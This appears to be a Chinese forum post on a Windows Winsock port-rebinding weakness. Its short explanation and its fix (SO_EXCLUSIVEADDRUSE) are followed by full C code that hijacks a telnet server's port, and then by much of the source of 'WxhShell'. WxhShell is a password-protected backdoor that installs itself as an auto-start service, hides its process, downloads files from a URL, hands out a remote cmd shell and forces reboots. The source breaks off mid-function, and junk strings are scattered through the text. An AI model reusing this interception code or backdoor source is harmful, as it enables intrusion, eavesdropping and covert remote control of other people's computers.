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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |
'z)RFqj s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~]yqJYiid^ my} P\r. saddr.sin_family = AF_INET; L`Ic0}|lzy 3{_+dE"9 saddr.sin_addr.s_addr = htonl(INADDR_ANY); G6J3F ,>g
6OU2~6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (&gCVf $"UAJ - 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]':C~-RV{ (%r:PcGMEV 这意味着什么?意味着可以进行如下的攻击: u3<])}I' Z6*RIdD> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 utTek5/ Q3KBG8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r;'!qwr s=d?}.E$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j=gbUXv/ EP8LJzd" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 mb/3
#) O^<6`ku 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P9'5=e@jB <T}#>xHs3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %EpK=;51U vx4&
;2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m&%N4Q~X> \.{JS>! #include H}$#aXEAn #include T8\,2UWsj2 #include ]I]dwi_g) #include _<~05Eh DWORD WINAPI ClientThread(LPVOID lpParam); '0=U+Egp int main() 'Oc8[8 { @2u<Bh}} WORD wVersionRequested; IX>|bA; DWORD ret; Y.73I83-j WSADATA wsaData; 3LTO+>, |" BOOL val; '|cuVxcE55 SOCKADDR_IN saddr; B8nXWi SOCKADDR_IN scaddr; q"cFw${ int err;
|z4 /4Y@ SOCKET s; H}@|ucM"\ SOCKET sc; pQ/:*cd+M int caddsize; L fi]s HANDLE mt; Z5U~g? DWORD tid; PY2`RZ/ @ wVersionRequested = MAKEWORD( 2, 2 ); nJ? C 4\#3 err = WSAStartup( wVersionRequested, &wsaData ); >YW>=5_ if ( err != 0 ) { oO|^ [b# printf("error!WSAStartup failed!\n"); Q,4F=b return -1; m=K XMX } ^w HMKC saddr.sin_family = AF_INET; WDX?|q9rCt ;e{2?}#8& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H z6H,h q[#\qT&QU saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j NY8)w_ saddr.sin_port = htons(23); ]@f6O*&= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cse0!7_T { _ E%[D( printf("error!socket failed!\n"); 2iGRw4`_a return -1; p"JSYF
9] } EW!$D val = TRUE; UtutdkaS //SO_REUSEADDR选项就是可以实现端口重绑定的 dnx}c4P if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F>M$|Sc2 { zPmVECS printf("error!setsockopt failed!\n"); GW W@8GNI return -1; 4 hj2rK'y } VgdkCdWRm_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *Z]|
Z4Q/` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?yz%r`;r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A`r9"([-A 1_t Dp&UO if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :b>|U"ux { EK'&S=] ret=GetLastError(); Y1~SGg7(@ printf("error!bind failed!\n"); T/K.'92S return -1; KZE.}8^%D } UVLcR listen(s,2); 6?lg
6a/eO while(1) (HF,p,h_ { "tark' caddsize = sizeof(scaddr); NWg\{a //接受连接请求 &SM$oy#? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KH7]`CU if(sc!=INVALID_SOCKET) Po_OQJ:bd { JA}'d7yEa mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @}Ixr{t if(mt==NULL) =,
0a3D6b { nsp K.*? printf("Thread Creat Failed!\n"); s`J=:>9* break; ob7_dWAG } >(rB[ZJ } /$z@_U[L CloseHandle(mt); qWpC e*C } 5% `Ul closesocket(s); *\WI!% WSACleanup(); _pGviGR return 0; wUeOD.;#F } 2P
?Iu& DWORD WINAPI ClientThread(LPVOID lpParam) qtN29[x { $te,\$&} SOCKET ss = (SOCKET)lpParam; nc~d*K\! SOCKET sc; }Yl=lcvw unsigned char buf[4096]; gk1S"H SOCKADDR_IN saddr; ehusI-q long num; 5ecz'eA% DWORD val; 2S6EDXc DWORD ret; 1.H!A@ //如果是隐藏端口应用的话,可以在此处加一些判断 xUpb1R //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;"^9L saddr.sin_family = AF_INET; "T
u[n\8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); } XU:DE saddr.sin_port = htons(23); O`jA-t if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /&:9VMMj { m tQ{6u
printf("error!socket failed!\n"); "T%'Rp`j| return -1; {l&2Kd* } &n.uNe val = 100; =k=2~
j if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KdJx#Lc { TQd FC\@f" ret = GetLastError(); u2BW]T] return -1; TDE1z>h+" } h;p%EZ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W7=_u+0d { fsc~$^.~\ ret = GetLastError(); K('lH-3wS return -1; )UZ0gfx } F]A~~P if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7 eQoc2X2 { N8YBu/ printf("error!socket connect failed!\n"); 6q[!X0u closesocket(sc); `ab\i`g9 closesocket(ss); u?3NBc$~A return -1; .S'fM]_# } Ru^ ONw" while(1) UxcDDa/j2T { j$8|ym^OX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d<Q+D1 //如果是嗅探内容的话,可以再此处进行内容分析和记录 1|WpKaMoq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )cKtc num = recv(ss,buf,4096,0); sp
Q4m if(num>0) +
lB+|yJ+ send(sc,buf,num,0); vMX6Bg8 else if(num==0) |] !o*7"4 break; wz*A<iU num = recv(sc,buf,4096,0); -j`!(IJ if(num>0) *Qg5Z send(ss,buf,num,0); }K/}(zuy1Y else if(num==0)
!jnqA Z break; HA9Nr.NqC@ } *pTO|x{ closesocket(ss); RCh$j&Tn closesocket(sc); j[/SXF\= return 0 ; BgkB x } _(6B. ZcTL#OTP sUbz)BS#. ========================================================== "37@Zt 0Z
A#T:4 下边附上一个代码,,WXhSHELL uRm _ 5]H))}9>d ========================================================== c+8>EU AW ;5D@kS^ #include "stdafx.h" ii_|)udz V5u}C-o #include <stdio.h> S!jF:Uc #include <string.h> 8|5Gv #include <windows.h> m@G<ZCMZ #include <winsock2.h> sb}K%- #include <winsvc.h> #a(%(k S #include <urlmon.h> U0h)pdo lrs0^@.+ #pragma comment (lib, "Ws2_32.lib") 29a_ZU7e6 #pragma comment (lib, "urlmon.lib") >@)*Sn9" g[EM]q, #define MAX_USER 100 // 最大客户端连接数 I&pr_~. #define BUF_SOCK 200 // sock buffer I|KY+k> / #define KEY_BUFF 255 // 输入 buffer q GpP, S,*{q( #define REBOOT 0 // 重启 nDHHYp #define SHUTDOWN 1 // 关机 |
V.S.'
j-lSFTo #define DEF_PORT 5000 // 监听端口 0" U5oP[ Wl&
>6./{ #define REG_LEN 16 // 注册表键长度 dGbU{#"3s #define SVC_LEN 80 // NT服务名长度 ?G$Om $ \Q<K@{ // 从dll定义API ny12U;'s, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MzEm*`< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @Jb@L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '1W!xQ}E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6=ZRn gQ M82.khm~jM // wxhshell配置信息 S}oG.r
9 struct WSCFG { VHXI@UT* int ws_port; // 监听端口 +1otn~(E char ws_passstr[REG_LEN]; // 口令 K #qoR /: int ws_autoins; // 安装标记, 1=yes 0=no L;/9L[s, char ws_regname[REG_LEN]; // 注册表键名 zKIGWH=qqm char ws_svcname[REG_LEN]; // 服务名 !]$V9F{K char ws_svcdisp[SVC_LEN]; // 服务显示名 R%>jJ[4\[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 9#v-2QY char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .)LZ`Ge3F int ws_downexe; // 下载执行标记, 1=yes 0=no b;S6'7Jf9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" EzR%w*F>Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X AQGG> \Dn&"YG7 }; iI3v[S LtC~)R // default Wxhshell configuration ;tJWOm struct WSCFG wscfg={DEF_PORT, PeO] lq "xuhuanlingzhe", <^d!Vzr] 1, o^HNF+sm "Wxhshell", T!MZ+Ph`F "Wxhshell", ~mtTsZc "WxhShell Service", d)N^PJ/ "Wrsky Windows CmdShell Service", cppL0myJ "Please Input Your Password: ",
j:7*3@f 1, 59V#FWe- " http://www.wrsky.com/wxhshell.exe", q[-|ZA bbr "Wxhshell.exe" \Ke8W,)ew }; b)N[[sOt *D2Nm9sl // 消息定义模块 59.$ULQVMY char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UcgG char *msg_ws_prompt="\n\r? for help\n\r#>"; djWcbC=g_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ]fj- `== char *msg_ws_ext="\n\rExit."; f0vJm char *msg_ws_end="\n\rQuit."; aYqm0HCT char *msg_ws_boot="\n\rReboot..."; 2d-{Q8Pi char *msg_ws_poff="\n\rShutdown..."; 1!vPc93 $$ char *msg_ws_down="\n\rSave to "; 2gt+l?O<PS QIQfI05 char *msg_ws_err="\n\rErr!"; %dc3z"u char *msg_ws_ok="\n\rOK!"; N#4N?BBP" +=7:4LFOL char ExeFile[MAX_PATH]; ;+sl7qlA4 int nUser = 0; /#f^n]v HANDLE handles[MAX_USER]; >-M ]:=L int OsIsNt; WSRy%# F+m[&MKL SERVICE_STATUS serviceStatus; .jA\f:u# SERVICE_STATUS_HANDLE hServiceStatusHandle; D|l,08n"? K1OkZ6kl // 函数声明 4jQ'+ 2it int Install(void); ) V36t{ int Uninstall(void); <?YA,"~ int DownloadFile(char *sURL, SOCKET wsh); i\)3l%AK]T int Boot(int flag); gw^'{b void HideProc(void); ;FU|7L$H int GetOsVer(void); ?n.)&ZIx0 int Wxhshell(SOCKET wsl); f8=]oa] void TalkWithClient(void *cs); -p`L%xj\ int CmdShell(SOCKET sock); Zsj`F9*e int StartFromService(void); iCP~O int StartWxhshell(LPSTR lpCmdLine); "k:=Y7Dx ]!Oue_-; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l'6d4
DZ VOID WINAPI NTServiceHandler( DWORD fdwControl ); :_xh(W+2< oZN'HT // 数据结构和表定义 0}]SUe^ SERVICE_TABLE_ENTRY DispatchTable[] = E)W@{?.o# { Qqc]aVRF {wscfg.ws_svcname, NTServiceMain}, [ ny6W9 {NULL, NULL} KxIyc7. }; jnJZ#=) sZg6@s= // 自我安装 )*|(i] int Install(void) U%>'" { HbM0TXo char svExeFile[MAX_PATH]; <??umkV HKEY key; D."=k{r. strcpy(svExeFile,ExeFile); Zgamd1DJ[l <41ZZ0<EwY // 如果是win9x系统,修改注册表设为自启动 X(Qu{HhI if(!OsIsNt) { ;b0NGa(k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (dqCa[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d
~`V7B2Y RegCloseKey(key); asVX82< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { },@``&e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "& 25D RegCloseKey(key); taWqSq! return 0; )OP){/ } [
MyE2^ } A m"(+>W21 } *if`/N-q(m else { CvDxq:x 6RoAl$}' // 如果是NT以上系统,安装为系统服务 =qu(~]2( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ru9zTZZD if (schSCManager!=0) vScjq5"p
{ r!GW=u' SC_HANDLE schService = CreateService N|usFqCNk^ ( N( Oyi schSCManager, M4yI`dr6 wscfg.ws_svcname, vFv3'b$;G wscfg.ws_svcdisp, ]a'99^?\ SERVICE_ALL_ACCESS, zjl!9M! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h6:#!Rg SERVICE_AUTO_START, [?0d~Q(R# SERVICE_ERROR_NORMAL, cU.9}-) svExeFile, 4hs)b NULL, B?bW1 NULL, >jg0s)RA' NULL, mtAE NULL, ?C-Towo=i NULL Ib=x~za@n ); qv*7K@ if (schService!=0) @N@F,~[RR2 { ==N{1gO] CloseServiceHandle(schService); 1q7tiMvV- CloseServiceHandle(schSCManager); ino:N5&;; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xc@Ss[ strcat(svExeFile,wscfg.ws_svcname); j<<3Pr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `G9 l RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5GzFoy)j> RegCloseKey(key); TrS8h^C return 0; LeOP;#
} (Z]HX@"{J } Kn`M4O CloseServiceHandle(schSCManager); dT"hNHaf } p4!:]0c } $g0+,ll[6 L{-LX=G^ return 1; u\yVR$pQ } fWnD\mx?0 ]6r;}1c
// 自我卸载 zi9[)YqxPH int Uninstall(void) w"Y` ]2 { RE2&mYt HKEY key; 6w8">~)Z e'%v1-&sP if(!OsIsNt) { "qz3u`[o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rwLAW"0Qz RegDeleteValue(key,wscfg.ws_regname); ZBT1Y.qA RegCloseKey(key); 46@{5)Tq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { : 18KR*;p RegDeleteValue(key,wscfg.ws_regname); Pz*_)N}j > RegCloseKey(key); m0n)dje return 0; r0;:t } YyAJ m^o } "TyJP[/ } bNs4 5hDP else { }@ Z56 V"\0Y0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *iBTI+"] if (schSCManager!=0) H,3\0BKk { OJ|r6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8BOZh6BV if (schService!=0) ,l YE { W!Hm~9fz if(DeleteService(schService)!=0) { "5R~(+~<@ CloseServiceHandle(schService); \MC-4Yz CloseServiceHandle(schSCManager); i<kD return 0; q;g>t5]a } ajR%c2G; CloseServiceHandle(schService); IJYL s
} !G^L/?z3 CloseServiceHandle(schSCManager); c#-U%qZ } M>9-=$7 } gI^oU4mq BS Iy+ return 1; %,Sf1fUJ } 3s\.cG?`r 3$.deYa$R // 从指定url下载文件 c\B|KhDk int DownloadFile(char *sURL, SOCKET wsh) X[
q+619 { 3vhnwDcK HRESULT hr; "k*PA\U char seps[]= "/"; gVQjL+_W char *token; CYYkzcc^ char *file; `ps)0!L
L` char myURL[MAX_PATH]; uH/w\v_I char myFILE[MAX_PATH]; Y}#h5\ FuI73 strcpy(myURL,sURL); *f&EoUk}F token=strtok(myURL,seps); 1XM^8 .; while(token!=NULL) ku$$ 1xq { Ya>oCr}K file=token; Gj"7s8(/K| token=strtok(NULL,seps); 2
rw%H } 1)
ta BdlVabQyKW GetCurrentDirectory(MAX_PATH,myFILE); 7K)6^r^ strcat(myFILE, "\\"); mxb(<9O strcat(myFILE, file); g?-lk5 send(wsh,myFILE,strlen(myFILE),0); W;bu2ym&Q send(wsh,"...",3,0); 3)-/`iy# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j83p)ido if(hr==S_OK) I}Nd$P)> return 0; _ZY)M else hX`}Q4(k return 1; C<KrMRWh^ (Yp+bS(PU* } %K(<$! pw7[y^[Qg // 系统电源模块 TIp:FW[ int Boot(int flag) -@T/b$]'n { zSo)k~&[3 HANDLE hToken; qM#R0ZUIe\ TOKEN_PRIVILEGES tkp; kOIt(e _g1b{$ if(OsIsNt) { r.4LU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !r#?C9Sq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -S3MH1TZ tkp.PrivilegeCount = 1; M\yT).>z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Neg,qOt AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !9Aaj<yxm if(flag==REBOOT) { T&Lb<'f if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^i:`ZfA# return 0; [9Ss#~ } R|wGU)KEc' else { _.L4e^N&UO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <n]x#0p return 0; w)Covz'uf } @V03a
)6,h } E b=}FuV else { ^Z:~91Tv-_ if(flag==REBOOT) { jDQZQ NS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^ f# FI& return 0; os/vtyP:a } [IK ) else { R: l&2k@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V}\~ugN)y return 0; @}u9Rn*d; } ],P;WPU } v{}#?=I5 0v9rv.Y" return 1; =i~}84> } -jMJAYj V G "73=8d // win9x进程隐藏模块 ~%YBI9$+ void HideProc(void)
foQ#a { 6`f2-f9%iq ">#wOm+ + HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cReB~wk if ( hKernel != NULL ) Mbb x` { Nm|!#(L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o7|eMe?<t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]xuG&O"SBV FreeLibrary(hKernel); 0qX3v<+[6 } OF\rgz L'u\w return; =jN*P? } }Hn/I,/ O }
f80K // 获取操作系统版本 ^MVkZ{gtre int GetOsVer(void) 9/nn)soC3 { 0:+WO%z OSVERSIONINFO winfo; {?yr'* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hla0 5N' 4 GetVersionEx(&winfo); V,$0p1?J if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]Ux<aiY]a
return 1; 5H ue7'LS else 8 XU1/i7N return 0; 1Z9qjV%^ } 3+XOZh8 3`k;a1Z#O' // 客户端句柄模块 {~F4WjHJp int Wxhshell(SOCKET wsl) KQ~i<1&j { 7AObC4 g SOCKET wsh; mya_4I
m struct sockaddr_in client; ;Rv!k&Df DWORD myID; 5O\*h;U 6 3g >B"t while(nUser<MAX_USER) a[ex[TRKe { _'(, int nSize=sizeof(client); uuQ(& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o93`|yWl if(wsh==INVALID_SOCKET) return 1; 0zi~p>*nJC -4cXRv] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >(;{C<6|^ if(handles[nUser]==0) /oriW;OF closesocket(wsh); ;72T|e else ~-I+9F nUser++; %HL*c= } E160A5BTx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \Cii1\R= nVi[ return 0; (vTtDKp@ } V>b\[(=s ,gS;m
&!'J // 关闭 socket m&?#;J|B$ void CloseIt(SOCKET wsh) +u3=dj"[ {
Z
/9> closesocket(wsh); CO`_^7o9( nUser--; t]YC"%[S ExitThread(0); 0|a(]a}V*j } v-PXZ'7~ {|'E // 客户端请求句柄 ZSG9t2qlv void TalkWithClient(void *cs) \ioH\9 { `|/<\ (Tbw3ENz SOCKET wsh=(SOCKET)cs; 4y+< dw char pwd[SVC_LEN]; `5C,N!d8X char cmd[KEY_BUFF]; og
kD^ char chr[1]; dUQDOo int i,j; =17t-
[ D}mjN=Y while (nUser < MAX_USER) { PBp^|t]E> HBMhtfWW if(wscfg.ws_passstr) { \Rp-;.I@6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * cgI.+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9_
dpR. //ZeroMemory(pwd,KEY_BUFF); [xGf,;Z i=0; 7eiV{ tYF while(i<SVC_LEN) { %;rHrDP(> Wh.?j>vB // 设置超时 |b)Y#)C; fd_set FdRead; WUh$^5W struct timeval TimeOut; h"/<?3{ FD_ZERO(&FdRead); Zd')57{ FD_SET(wsh,&FdRead); ;t|Ii8Ne TimeOut.tv_sec=8; @9lUSk^9 TimeOut.tv_usec=0; P9vA7[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /%;mqrdk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hX=A)73( d&+h}O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cj1cZ- pwd =chr[0]; ekWePL;rR2 if(chr[0]==0xd || chr[0]==0xa) { FN8NTBk pwd=0; CL+}|7O( break; #N`~xZ|$ } *exS6@N] i++; e8GEoD }
K~| 4[\ L{8xlx` // 如果是非法用户,关闭 socket !y@6Mm if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CW,Wx: Y } DKBSFm{~Q <=>=.kmGt send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s;6CExH send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); * /:x sI lp(8E6 while(1) { Ro9tZ'N!S
H{=21\a\ ZeroMemory(cmd,KEY_BUFF); ~V\D|W9 bp~g;h*E2 // 自动支持客户端 telnet标准 @*6 C=LL j=0; Z7= `VNHc while(j<KEY_BUFF) { WjlZ6g2i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xo7Kn+ Kl cmd[j]=chr[0]; `|ASx8_! if(chr[0]==0xa || chr[0]==0xd) { 1*@'-mj cmd[j]=0; "C I=`= break; !0vG|C;' } uA#P'? j++; z{o'
G3 } lc~%= :gep:4&u // 下载文件 2fWTY0 if(strstr(cmd,"http://")) { `wDl<[V send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,uSQNre\j if(DownloadFile(cmd,wsh)) f PM8f send(wsh,msg_ws_err,strlen(msg_ws_err),0); *U
P@9D else EV*IoE$W]= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d%V*|0c) } @n{JM7ctJ else { [E/\#4b V;,{} switch(cmd[0]) { [<
&oF a
0GpfW$t // 帮助 AMyIAZnYq) case '?': { B>0].CK` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gk0( ANx break; USM4r!x } d~1gMz+) // 安装 mqSQL}vR case 'i': { ^h"`}[+ if(Install()) ?'KL11@R send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Ccg`AR{ else 4UW_Do send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #0y)U;dA+w break; XYZ4TeW\1 } +O*/"]h // 卸载
+7=K/[9p case 'r': { z<##g if(Uninstall()) 'lEA)&d send(wsh,msg_ws_err,strlen(msg_ws_err),0); fvdU`*|n) else B(n{e53 9f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p IU&^yX> break; .ZJRO>S } k[:bQ)H // 显示 wxhshell 所在路径 <U!`J[n% case 'p': { no9;<]4 char svExeFile[MAX_PATH]; &GB:|I'%7 strcpy(svExeFile,"\n\r"); WRrd'{sB strcat(svExeFile,ExeFile); vJ-q*qM1 send(wsh,svExeFile,strlen(svExeFile),0); hKT break; <cqbUL } X;"Sx#U // 重启 \ywXi~+kUv case 'b': { iC98_o_9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f;x kT if(Boot(REBOOT)) y&?6FY send(wsh,msg_ws_err,strlen(msg_ws_err),0); C'o64+W^ else { !3 f?:M closesocket(wsh); =[@zF9 ExitThread(0); oaoU _V } ?6fnpGX@a break; @AIaC-,~] } M>i9 i-dU // 关机 >76\nGO case 'd': { \4-"L> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OeS\7 if(Boot(SHUTDOWN))
ng_^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); y*tZ
!m2Gg else { C
ihAU" closesocket(wsh); 7]||UuF< ExitThread(0); 'Pn3%&O$ } -8j+s}Q break; ,u`YT%&L } ,z-}t&
_t // 获取shell q(2K6 case 's': { AigS!- CmdShell(wsh); S/ODqL| closesocket(wsh); nysUZB
ExitThread(0); w6{TE(]zp break; Y[$!`);Ye } \8?Tdx= // 退出 * Of4o case 'x': { Z`KC%!8K send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nz],IG. CloseIt(wsh); RWgNo#< break; JQ6zVS2SSS } oIb|*gX^ // 离开 Vc2A case 'q': { n3D;"a3 send(wsh,msg_ws_end,strlen(msg_ws_end),0); d[V;&U closesocket(wsh); o8-^cP1 WSACleanup(); IbP#_Vt exit(1); |,!IZ-
th break; 8$;=Uf,x } ]2\VweV } 79xx2 } )Cc q4i pXtX jb // 提示信息 j{9D{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nAjO6g6E } 2|}+T6_q } Q^e}?v%=%3 Y<Fz)dQo return; {O`w,dMOI } -Ty*aov D~$r\]av // shell模块句柄 al9t^ int CmdShell(SOCKET sock) NH<5*I/ { _q{c##Kf STARTUPINFO si; Ko&>C_N ZeroMemory(&si,sizeof(si)); Gq }U|Z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =aoMii si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; viMzR(JU PROCESS_INFORMATION ProcessInfo; HFaj-~b char cmdline[]="cmd"; "huFA|` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dK2p7xo return 0; 5&q8g;XiEM } B3
5E8/ m/y2WlcRx // 自身启动模式 .sj^{kGE int StartFromService(void) R]btAu;Z { a8 mVFm typedef struct ?`#/ 8PN { ,}))u0q+: DWORD ExitStatus; 5yiK+-iTs DWORD PebBaseAddress; OSf}Q=BL DWORD AffinityMask; *Ie7{EhJ' DWORD BasePriority; $+3}po\ ULONG UniqueProcessId; X7i/fm{l' ULONG InheritedFromUniqueProcessId; kT!9`S\ } PROCESS_BASIC_INFORMATION; HO}Hh[{V9 9uBM< PROCNTQSIP NtQueryInformationProcess; fIwV\,s i2&ed_h<? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lg*B>= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CS=qj-( }=8B* HANDLE hProcess; *]VFvh PROCESS_BASIC_INFORMATION pbi; bdibaN-h CCWg{*og HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0#S W!b|% if(NULL == hInst ) return 0; ^n"OL*ipG `P3>S(Tgy g_pEnumProcessModules = 